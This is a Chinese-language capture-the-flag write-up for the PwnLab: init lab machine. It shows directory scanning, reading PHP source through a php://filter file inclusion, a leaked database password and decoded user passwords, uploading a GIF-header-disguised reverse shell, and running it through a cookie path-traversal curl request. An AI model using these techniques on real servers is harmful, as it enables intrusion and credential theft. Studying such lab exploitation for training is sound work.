目录
前言
涉及知识点
-
代码审计
-
PHP封装器
-
getimagesize文件头检测
-
文件上传与文件包含漏洞结合使用
-
cookie配置注入
环境来源
vulnhub靶机PwnLab: init ~ VulnHub
在端口扫描中发现主机开放了http服务 和mysql服务
尝试扫描网站的目录
┌──(root���kali)-[~/pg/PwnLab]
└─# python3 /root/dirsearch/dirsearch.py -e* -u http://192.168.56.117 -t 30
|. _ _ _ _ _ _| v0.4.2
(||| _) (/(|| (| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30 | Wordlist size: 15492
Output File: /root/dirsearch/reports/192.168.151.29/_22-01-17_07-55-55.txt
Error Log: /root/dirsearch/logs/errors-22-01-17_07-55-55.log
Target: http://192.168.56.117/
[07:55:55] Starting:
[07:57:33] 200 - 0B - /config.php
[07:57:59] 200 - 943B - /images/
[07:57:59] 301 - 317B - /images -> http://192.168.56.117/images/
[07:58:02] 200 - 332B - /index.php/login/
[07:58:02] 200 - 332B - /index.php
[07:58:09] 200 - 250B - /login.php
[07:58:59] 301 - 317B - /upload -> http://192.168.56.117/upload/
[07:59:00] 200 - 19B - /upload.php
[07:59:00] 200 - 743B - /upload/
在目录扫描中发现
四个文件 config.php,index.php,upload.php,login.php
两个文件夹images和upload
PHP封装器获取源码
观察首页url的格式
大胆猜测这里这里包含了login.php
用
http://192.168.151.29/?page=upload
http://192.168.151.29/?page=index
http://192.168.151.29/?page=config
验证我们的猜想
页面返回无错误 大概率php文件执行 我们需要php伪协议读取源代码防止自动解析
php://filter/read=convert.base64-encode/resource=login
解base64编码 得出 源代码
login.php源码
<?php session_start(); require("config.php"); $mysqli = new mysqli($server, $username, $password, $database); if (isset($_POST['user']) and isset($_POST['pass'])) { $luser = $_POST['user']; $lpass = base64_encode($_POST['pass']);//对数据库的pass先进行解码处理 $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?"); $stmt->bind_param('ss', $luser, $lpass); //预处理+参数绑定怕是没有sql注入了 $stmt->execute(); $stmt->store_Result(); if ($stmt->num_rows == 1) { $_SESSION['user'] = $luser; header('Location: ?page=upload');//登录成功 跳转upload页面 } else { echo "Login failed."; } } else { ?> <form action="" method="POST"> <label>Username: </label><input id="user" type="test" name="user"><br /> <label>Password: </label><input id="pass" type="password" name="pass"><br /> <input type="submit" name="submit" value="Login"> </form> <?php }
注意 $lpass = base64_encode($_POST['pass']);
代码对用户传入的参数pass 进行base64编码处理 ,随后比对数据库。说明了数据库存入的pass就是编码后的字符。
http://192.168.151.29/?page=php://filter/convert.base64-encode/resource=upload
upload源码
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];//获取上传文件的MIME类型,例如"image/jpeg"或"application/pdf"等
$uploaddir = 'upload/'; //上传目录名
$file_ext = strrchr($filename, '.');//最后一个'.'字符及其后面的所有字符,即文件扩展名
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
//getimagesize()函数,该函数返回一个数组,其中包含上传图片的宽度、高度和类型等信息。在这里,$_FILES['file']['tmp_name']是上传文件的临时文件名,getimagesize()函数将读取该文件并返回其信息
$whitelist = array(".jpg",".jpeg",".gif",".png"); //预使用白名单
if (!(in_array($file_ext, $whitelist))) {//对比白名单 不可上传脚本文件
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {//上传MIME类型 是否包含image 没有die
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}//再次检查mimetype 不符合白名单gif jpeg jpg png 将die
if(substr_count($filetype, '/')>1){
die('Error 003');//斜杠字符的数量大于1 错误
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
//重命名文件名
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
http://192.168.151.29/?page=php://filter/convert.base64-encode/resource=config
config.php源码
<?php $server = "localhost"; $username = "root"; $password = "H4u%QJ_H99"; $database = "Users"; ?>
获取MySQL的登录密码 登录数据库 查看登录密码
http://192.168.151.29/?page=php://filter/convert.base64-encode/resource=index
index.php源码
查看index.php 研究下文件包含是怎样产生的
<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?> <html> <head> <title>PwnLab Intranet Image Hosting</title> </head> <body> <center> <img src="images/pwnlab.png"><br /> [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ] <hr/><br/> <?php if (isset($_GET['page'])) { include($_GET['page'].".php");//文件产生的原因 自动在末尾加php 有没有办法不加php?? } else { echo "Use this server to upload and share image files inside the intranet"; } ?> </center> </body> </html>
留意这段代码
if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); }
这段PHP代码块,用于检查是否设置了名为'lang'的cookie,并根据cookie的值包含相应的语言文件。具体来说,它使用了PHP的isset()函数来检查$COOKIE数组中是否存在'lang'键。如果存在,则代码块将使用include()函数包含一个名为$COOKIE['lang']的文件,该文件应该在'lang/'目录下。这个文件可能包含与所选语言相关的常量、变量、函数或类等内容。
文件包含漏洞利用
登录页面
在端口扫描中 我们发现了主机开放了3306端口,对应的指纹消息也是mysql。这也意味着我们可以远程登录mysql
再config.php中我们获取了MySQL的登录密码 ,现在登录数据库 查看页面登录密码。
mysql -h 192.168.137.241 -uroot -p
(输入密码:H4u%QJ_H99)
show databases;//查询当前库
use Users;//进入Users库
show tables;//显示所有表
select * from Users.users;//查询Users库下users表
得到消息
MySQL [Users]> select * from Users.users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
不过 这里pass内容并不是真正的密码,还记得login.php源码怎样处理pass字段吗?它先做了base64_encode,之后在于数据库比对。
这就是意味着我们要对Sld6WHVCSkpOeQ== 做base64_decode 之后才是真正的密码
echo -n Sld6WHVCSkpOeQ== | base64 -d
使用账号kent 密码JWzXuBJJNy 登录页面
上传木马文件GIF
上传一个后缀名为jpg文件,内含反弹shell
我在上传jpg木马文件,失败了。页面返回Error 002
应该是这段代码 $imageinfo['mime'] 没有检测通过
... $imageinfo = getimagesize($_FILES['file']['tmp_name']); ... if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); }
我可能没有真正地理解到getimagesize 的本质 也许它提取的信息不是从http发送头上来的 而是是从文件本身提取信息。查询一下官方手册
我打算在本地测试一下 看看getimagesize 到底返回什么类型数据。要怎样构造木马图片才绕过imageinfo
<?php $imageinfo = getimagesize("shell.jpg"); var_dump($imageinfo); ?>
先测试一下正常的jpg文件
可以看到int(3)就是对应键mime其值就是image/jpeg
接下来就对jpg各种改造了,目的就是要把php代码嵌套进入。但都失败了!一些getimagesize失败
一些可以上传成功了,但是后面文件包含 反弹shell没有执行。
通过测试我发现GIf加上头文件 可以绕过getimagesize,具体步骤如下
找到反弹shell 后缀命名.gif
第一行的位置加上GIF87a
这样在测试getimagesize 可能正常显示mime:image/gif
这样就可以正常上传木马文件了。
文件包含执行php反弹shell
找到文件上传后的路径名(查看源代码)
改变cookie 发送请求 监听端口 等待反弹shell
┌──(root���kali)-[~/pg/PwnLab]
└─# curl -v --cookie "lang=../upload/f3035846cc279a1aff73b7c2c25367b9.gif" http://192.168.137.151/index.php
成功拿到主机shell